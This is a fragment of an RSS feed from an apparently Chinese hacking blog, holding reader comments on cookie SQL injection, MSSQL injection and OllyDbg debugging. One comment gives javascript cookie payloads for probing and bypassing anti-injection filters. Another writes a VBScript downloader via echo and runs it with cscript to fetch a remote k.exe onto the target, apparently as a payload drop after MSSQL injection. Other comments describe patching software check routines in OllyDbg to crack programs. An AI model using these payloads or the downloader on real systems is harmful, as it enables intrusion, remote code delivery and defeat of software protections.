result;/*返回运算结果*/<br>}<br><br>int main(int argc, char* argv[])<br>{<br><br>unsigned k=GetLastDigit(2008);<br><br>&nbsp;&nbsp;printf(&quot;%d\n&quot;,k);<br>&nbsp;&nbsp;return 0;<br>}<br>
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=300#commmark_768]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2009-02-25T11:47:44Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=300">
    <title><![CDATA[Comment on: OD的万能断点插件原理]]></title>
    <description><![CDATA[关于爆破程序的校验问题

可以先把流程的跳转都给改正确了 然后保存之

载入OD

然后随便在一处暴的地方 hr 下硬件访问断点

F9运行,会跑到校验的地方.然后再改跳转即可.]]></description>
    <content:encoded><![CDATA[关于爆破程序的校验问题<br><br>可以先把流程的跳转都给改正确了 然后保存之<br><br>载入OD<br><br>然后随便在一处暴的地方 hr 下硬件访问断点<br><br>F9运行,会跑到校验的地方.然后再改跳转即可.
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=300#commmark_767]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2009-02-24T20:24:56Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=300">
    <title><![CDATA[Comment on: OD的万能断点插件原理]]></title>
    <description><![CDATA[Alt+F5 - 让OllyDbg总在最前面。如果被调试程序在某个断点处发生中断，而这时调试程序弹出一个总在最前面的窗口（一般为模式消息或模式对话框［modal message or dialog］），它可能会遮住OllyDbg的一部分，但是我们又不能移动最小化这个窗口。激活OllyDbg（比如按任务栏...]]></description>
    <content:encoded><![CDATA[Alt+F5 - 让OllyDbg总在最前面。如果被调试程序在某个断点处发生中断，而这时调试程序弹出一个总在最前面的窗口（一般为模式消息或模式对话框［modal message or dialog］），它可能会遮住OllyDbg的一部分，但是我们又不能移动最小化这个窗口。激活OllyDbg（比如按任务栏上的标签）并按Alt+ F5，OllyDbg将设置成总在最前面，会反过来遮住刚才那个窗口。如果您再按一下Alt+F5，OllyDbg会恢复到正常状态。OllyDbg是否处于总在最前面状态，将会保存，在下一次调试时依然有效。当前是否处于总在最前面状态，会显示在状态栏中。
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=300#commmark_764]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2009-02-18T16:51:52Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=304">
    <title><![CDATA[Comment on: (转)cookies的注入基本方法和原理介绍]]></title>
    <description><![CDATA[我们再看看防注入系统,他会检测GET和POST中的数据，如果有特殊字符(这里当然是注入字符了)!
就禁止数据的提交! 但他没有检测Cookies的数据！问题就来了~~~
那我们怎样测试是否有Cookies注入问题~

请先看下面的的连接(示例用,所以连接不是真的)

http://www.xxx.c...]]></description>
    <content:encoded><![CDATA[我们再看看防注入系统,他会检测GET和POST中的数据，如果有特殊字符(这里当然是注入字符了)!<br>就禁止数据的提交! 但他没有检测Cookies的数据！问题就来了~~~<br>那我们怎样测试是否有Cookies注入问题~<br><br>请先看下面的的连接(示例用,所以连接不是真的)<br><br><a target='_blank' href='http://www.xxx.com/1.asp?id=123'><a target='_blank' href='http://www.xxx.com/1.asp'>http://www.xxx.com/1.asp</a>?id=123</a><br><br>如果我们只输 <a target='_blank' href='http://www.xxx.com/1.asp'><a target='_blank' href='http://www.xxx.com/1.asp'>http://www.xxx.com/1.asp</a></a><br><br>时，就不能看到正常的数据，因为没有参数!<br>我们想知道有没有Cookies问题(也就是有没有Request(&quot;XXX&quot;)格式问题),<br>先用IE输入 <br><a target='_blank' href='http://www.xxx.com/1.asp'>http://www.xxx.com/1.asp</a><br>加载网页,显示不正常（没有输参数的原因)<br>之后在IE输入框再输入<br>javascript:alert(document.cookie=&quot;id=&quot;+escape(&quot;123&quot;));<br>按回车,你会看到弹出一个对话框 内容是: id=123 <br>之后，你刷新一个网页，如果正常显示，表示是用<br>Request(&quot;ID&quot;) 这样的格式收集数据~~~~,这种格式就可以试Cookies注入了<br><br>在输入框中输入<br>javascript:alert(document.cookie=&quot;id=&quot;+escape(&quot;123 and 3=3&quot;));<br>刷新页面,如果显示正常,可以再试下一步(如果不正常,就有可能也有过滤了)<br><br>javascript:alert(document.cookie=&quot;id=&quot;+escape(&quot;123 and 3=4&quot;));刷新一下页面<br>如果不正常显示，这就表示有注入了~~~<br><br>如果程序员是用 <br>Request.QueryString<br>或 <br>Request.Form<br>收集数据的话，是无法利用Cookies绕过防注入系统进行注入的，因为服务程序是直截从GET或POST中读取数据的，Cookies是否有数据,WEB服务器是不理的,所以就无法利用了！~<br><br>--------------------------------------------------------------------------<br><br><br>
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=304#commmark_763]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2009-02-10T17:09:04Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=109">
    <title><![CDATA[Comment on: mssql注射中有参数被调用多次调用,导致注射时不可以多次echo]]></title>
    <description><![CDATA[echo Set XP= cr&#101;ateObject(^"MSXML2.ServerXMLHTTP.3.0^"):XP.Open ^"GET^",LCase(WScript.Arguments(0)),0:XP.Send():Set SG = cr&#101;ateObject(^"ADODB.Stream^"):SG.Mode = 3:SG.Type = 1:SG.Open():SG.Write(XP.responseBody):SG.SaveToFile LCase(WScript....]]></description>
    <content:encoded><![CDATA[echo Set XP= createObject(^&quot;MSXML2.ServerXMLHTTP.3.0^&quot;):XP.Open ^&quot;GET^&quot;,LCase(WScript.Arguments(0)),0:XP.Send():Set SG = createObject(^&quot;ADODB.Stream^&quot;):SG.Mode = 3:SG.Type = 1:SG.Open():SG.Write(XP.responseBody):SG.SaveToFile LCase(WScript.Arguments(1)),2 &gt;c:\iget.vbs<br><br>cscript c:\iget.vbs htp://www.baidu.com/k.exe c:\k.exe
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=109#commmark_762]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2008-12-23T11:44:08Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=300">
    <title><![CDATA[Comment on: OD的万能断点插件原理]]></title>
    <description><![CDATA[我突然发现
OD载入exe，右键->查找->所有分支，然后在任意一分支上点右键->列出switch的case
这个倒是个有用的功能:)
]]></description>
    <content:encoded><![CDATA[我突然发现<br>OD载入exe，右键-&gt;查找-&gt;所有分支，然后在任意一分支上点右键-&gt;列出switch的case<br>这个倒是个有用的功能:)<br>
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=300#commmark_759]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2008-11-28T13:37:49Z</dc:date>
  </item>

      </rdf:Seq>
    </items>
  </channel>
</rdf:RDF>
